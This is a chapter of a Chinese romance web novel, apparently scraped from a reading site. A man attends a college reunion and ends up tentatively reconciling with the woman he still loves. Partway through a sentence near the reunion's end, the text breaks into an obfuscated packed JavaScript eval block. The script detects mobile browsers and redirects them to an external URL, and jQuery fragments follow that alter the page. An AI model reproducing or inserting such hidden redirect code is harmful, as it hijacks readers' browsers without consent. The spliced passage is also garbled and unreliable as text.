43. 考察期

作品:《恋爱培训班

    聚会时间定在周六下午五点。


    对于这场久违的会面,周时屿从周四就开始心神不宁。


    能解决的琐事提前解决,不能的交待给助理和主管。


    张助理见工作狂老板终于愿意信任自己,内心攀升起一丝感动。


    “您放心,保证完成任务!”


    也许是接下企划书时的笑容太过诡异,周时屿狐疑地看他一眼:


    “你很喜欢工作?”


    他向来尊重他人爱好,合上日历说:“那以后多让你加几次班。”


    助理轻咳一声,恢复面瘫脸。


    翻遍衣帽间,视线在没什么区别的正装中游移,最后选了款式简单的烟灰色毛衣——姜知说这个颜色衬他,虽然那是很多年前了。


    照镜子时,不自觉就和大学时的自己进行对照。


    随着肩膀变宽,宽松的款式不再宽松,锁骨将领口撑起,眼下熬夜的青影未退。他把刘海的分岔从左边拨到右边,黑框眼镜戴了又取下,犹豫地想,是不是和毛衣不搭。


    当年的姜知喜欢,现在未必还适合,越比较越品出一丝容貌焦虑的意味。


    实在是没有概念。他打算发给别人看看,从通讯录里找出前杰:“你觉得这样穿可以吗?”


    前杰:「卧槽神了。」


    前杰:「去约会吗?」


    周时屿:「同学聚会。」


    前杰缓缓打出了一个“?”


    那边半是揶揄半是好奇:「什么聚会啊,上次的班级聚会怎么叫不来你?」


    周时屿把手机放回口袋。


    ……


    周六下午,他提前三小时到了咖啡馆的附近。


    在马路对面的书店二楼先坐着,不算太远,正好能望见底下的玻璃门。


    树梢晃荡,陆续有人走进去,都是陌生的面孔。他也看见姜知,穿着浅黄色的宽松衬衫,长发松松挽起,坐在靠里的长桌前。


    这是一家宠物咖,蓝色桌角下,几只猫狗一哄而上,围住她。她惊讶一瞬,接着弯下腰,脸上的笑意很温柔,被阳光照成更明媚的色彩。


    心脏在胸腔里撞了一下,手机屏幕停在聊天界面上。


    周时屿:「需要我带点什么过去吗?」


    姜知:「不用。」


    熄了屏,把带来的一个小纸袋又检查了一遍,一袋独立包装的解酒药,姜知喜欢的薄荷糖,保温杯,车后座放着厚外套,能想到的都带了。


    确保没有遗漏后,缓步走向咖啡馆。


    -


    风铃轻响,夏日的气息混合着咖啡香,和笑语一同扑面而来。


    几道目光落在了他身上。


    欢声笑语霎时暂停,就像布丁上凝固到一半的糖霜,热闹夏然而止。


    不禁默然,果然还是让他们尴尬了。他自觉地不多停留,赶紧找了个座位。


    被离门最近的微胖男人挡住去路:“我靠!真把你叫来了!难得难得!”


    这位是……


    “你好。”他伸出手。


    寒暄、握手,周时屿应付着,像换个地方进行另一场谈判——视线飘向了长桌的另一端。


    姜知侧头和有点眼熟的女生说话,似乎未注意他的到来。


    直到他走近,她才抬起眼,稍微转过身,几不可察地点了下头,算打过招呼。


    周时屿在长桌另一端坐下,正好是她的斜对角。等会还要去下一站,桌上餐食不多,男生以社长为圆心坐着,女生圈子和他们隔着过道,泾渭分明。


    不断有人递来名片,年近三十的男人们,话题显然无聊,周时屿偷偷去看对面。短短几个小时,她已经和女生们打成一片,游刃有余,完全不怯场。好厉害。


    人渐渐到齐,聚会的气氛热闹起来。


    有人出去拿咖啡时差点被绊倒,那人以为是工具箱,骂骂咧咧找店主算账。


    可箱子动了,发出极小声的:“汪。”


    毛色很黑,快要和后面的黑箱融为一体,那个女生惊叫出来。热情的动物扎堆,他们都没注意角落还有一只,缩着身子,看起来被同伴和客人一起冷落了。


    服务员路过说:“这只比较害羞,不太亲人,是我们店长看它受伤捡回来的,可能过两天就送走了。”


    白裙子女生表示理解,她拍拍裙尾,退开一步,招呼身旁人合影。第一排的人抱着最漂亮的白色缅因,站在的台阶上,身边围了一圈热情的宠物。


    “你们先拍。”


    中心位置的姜知退出了——没有脱离开人群,偶尔还是笑着打趣,然而就在快门按下的那一刻。


    她径自退到角落,掰了一点吃剩的面包,黑色脑袋缩了缩,又看过来。


    她的声音很轻:“吃吗?”


    -


    天色渐暗,晚霞像颜料泼在天际线。笑声自远处传来,姜知和几个女生一起去买小蛋糕。


    周时屿踏出门栏,牛仔衣男人给他递烟,挑了挑眉,他摆摆手说不用。


    姜知和最里边的一只狗单独告别,掌心蹭着它的头,手链垂下来。狗短短的毛发油光锃亮,吃得斯文,没有狼吞虎咽,被摸时发出舒服的咕噜声。


    她还是很喜欢狗。


    “前两天家里人……”


    远处那点声音被滔滔不绝的话淹没。


    回过头,看见姜知还在摸狗的头。


    下一站是KTV。城市夜晚的喧闹流淌着,液晶屏的蓝光投在墙面上,像无声的河流。


    社长给姜知倒酒,她摆手推拒,但对方格外坚持,姜知象征性端起杯子,浅浅沾了下唇。


    另一端传来撕心裂肺的吼叫,暖场的《情歌王》,几人接力对唱。霓虹球的斑斓光影映在他们脸上,不唱的就坐在沙发上,摇骰子,顺便聊天。


    话题转到大学时的糗事,有人提起登山活动,周时屿为了捡回被风吹走的社团旗帜,差点滑下山坡。


    “学长你当时可把姜小知吓坏了,后来还偷偷哭了吧?”扎麻花辫的女生笑着打趣。


    姜知正低头吃一小块蛋糕,闻言一顿,抬起眼:“有吗?不记得了。”


    骰盅反扣在桌面,起哄声之后又是吸凉气的声音,提问人眼神微妙,八卦的同时品出了不对劲。


    女生很惊讶,用手臂戳她:“怎么没有?我还安慰你来着……”


    他起身,去了趟洗手间。用冷水拍了拍脸,水珠顺着额角一路流到下颌,他对着镜子练了一会微笑,让神情看起来自然。


    回到座位时,话题已经变了。有人问姜知:“我们姜知的个人问题进展得如何啦?”


    眼镜男投来不怀好意的视线,桌前又安静了一瞬。眼镜男的目的无疑是找事或求偶,但是没有人阻拦,看戏的心大过其他。


    姜知放下叉子,拿起餐巾纸擦了下嘴角,她抬起眼,目光平静地掠过提问者,又更自然地移向后面的周时屿。


    那目光隔着一层雾,周时屿的背脊微微绷直,迎向她的视线。背景音褪下,抒情歌的伴奏未停,响在醉倒的人几句呓语中间。


    “个人问题啊,”姜知缓缓开口,声音不高,四周渐渐安静下来,“目前没有很合适的。”


    周时屿平静接受了这个说法,眼镜男还准备说点别的,又听到她清晰的声音传来:“不过,正在考察期。”


    马上有人起哄,“有情况!谁啊?我们认识吗?”


    ……


    新一轮八卦就此开启。周时屿向前走了两步,入座,同时退出了他们的视野。


    姜知室友率先想到:“我好像知道了,来接你的那个帅哥医生对吧?”


    “看起来条件不错,人也温温柔柔的。”


    姜知不置可否,端起水杯喝了一口,转开话题:“这家栗子蛋糕不错哦,谁要?”


    话题再次被轻巧带过,窃窃私语四起。周时屿僵在座位上,耳边嗡嗡作响,满脑子还是那个词。


    考察期。


    后半程的聚会,他魂不守舍,直至人群散场,喧嚣如潮水般隐去。夜风带来了几分清醒,可他分明没有喝酒。


    聚会结束,大家在门口处告别。夜风裹着寒意吹来,第一反应是还好带了外套,肩膀擦过几个急匆匆赶路的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366793|193783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人,周时屿下意识寻找着姜知的身影。


    她和一个女同学挥手,两人依依不舍地拥抱,转身时,目光与他撞上。


    停了停,她朝他走过来。


    “你开车了吗?”她问。


    “开了。”


    “我喝了点酒,”她指那杯浅尝辄止的啤酒,“能送我吗?不顺路我就打车。”


    “顺路。”他立刻说。


    两人并肩走向停车场,几步路的距离,却一路沉默着。路灯将他们的影子拉长,周时屿打开副驾的门,姜知坐了进去。他绕到驾驶座,发动车子。


    路上依然沉默,车载广播流淌着舒缓的爵士乐,更衬得车厢内寂静。周时屿专注看着前方路况,车流有秩序地行进,路很好开,手心却微微出汗。


    他并不想沉默,反而很想问——考察期代表了什么?


    ……还有余地吗。


    又怕听见和沈疏言临门一脚的消息。考察得差不多,是不是就会和他在一起了?一想到这里,眉心就无法舒展,达摩克利斯之剑高悬头顶,每秒都是酷刑。


    “糖,”姜知忽然开口,打破了沉默,“你带了吧。”


    周时屿一愣,反应过来:“带了。”他单手扶着方向盘,另一只手去够放在扶手箱上的那个小纸袋。


    姜知接过去,借着窗外略过的路灯灯光,看到里面分门别类放好的小东西,她拿出那盒薄荷糖,放了一颗进嘴里,清凉的气息在狭小空间里散开、填满。


    “谢谢。”姜知看着窗外流动的夜景,轻声说。


    周时屿握着方向盘的手指紧了紧:“应该的。”


    车子驶到她公寓楼下。停稳,熄火。引擎声消失后,寂静再次笼罩下来。


    “姜知。”在她推门下车前,周时屿叫住了她。


    她侧过头,路灯的光从车窗外斜斜照入,在脸上投下柔和的明暗。周时屿看着她,心底翻涌了无数句,到嘴边又只剩下:“谢谢你叫我。”


    不管怎样,都谢谢。


    “还有吗?”姜知侧着身子,按着安全带的手向后拨,和他对上视线。


    -


    没有再靠近,停在一步之遥的地方。


    “还有。”


    他点点头,一鼓作气问:“你考察得怎么样了。”


    说完,眼神躲闪开。


    路灯光影落在脸上,周时屿吸了吸鼻子,鼻尖有点红,他屏住呼吸,明明说过会祝福她,不能再让她看见他哭了。


    姜知静静地看着他,几秒过后,没忍住笑了出来。


    “周时屿,”姜知说,声音飘在夜空上方,变成了风筝上的线,“考察期如果很长,怎么办?”


    周时屿沉浸在难过之中,没有回答。姜知说:“考官要是心情不好,就喜欢故意出点难题。”


    夜风涌入狭小的空间,她的丸子头散成微卷的长发,风将前额发丝扬起,露出精致美丽的妆容,以及深棕色的、带点笑意的眼睛。


    姜知说着:“现在,她特别想吃东街那家难得出摊的铜锣烧。”


    她站在车外,隔着降下的车窗,转身之前,最后看了他一眼。


    周时屿坐在车里,许久没有动弹。玻璃窗慢慢蒙上一层白雾,他反复咀嚼这几句话。“考察期很长”,“考官心情不好”。


    被考察的人是——


    “等等!”


    姜知身形微顿,漆黑夜色之下,嘴角不住向上翘。


    “我现在去买。”


    等她回过头,两人的视线交接上,同时笑了。惊喜来得太突然,时隔多年,他终于又看见了梦里才会有的,眉眼弯弯的笑容。


    “等我。”剧烈的心跳随着脚步,在耳边炸开。摊位摆在小巷里,他计划如果跑着去,应该不需要太久。跑出两步又折返。


    他在她耳边轻声说:“很快回来。”


    一件外套落在了姜知的肩膀,她根本不冷,伸手想拿下来。突然间,闻见上面附着的木质香。另一边车流不息,而尽头的东街,隐隐传来食物的香气。


    好吧。


    她想,就等十分钟好了。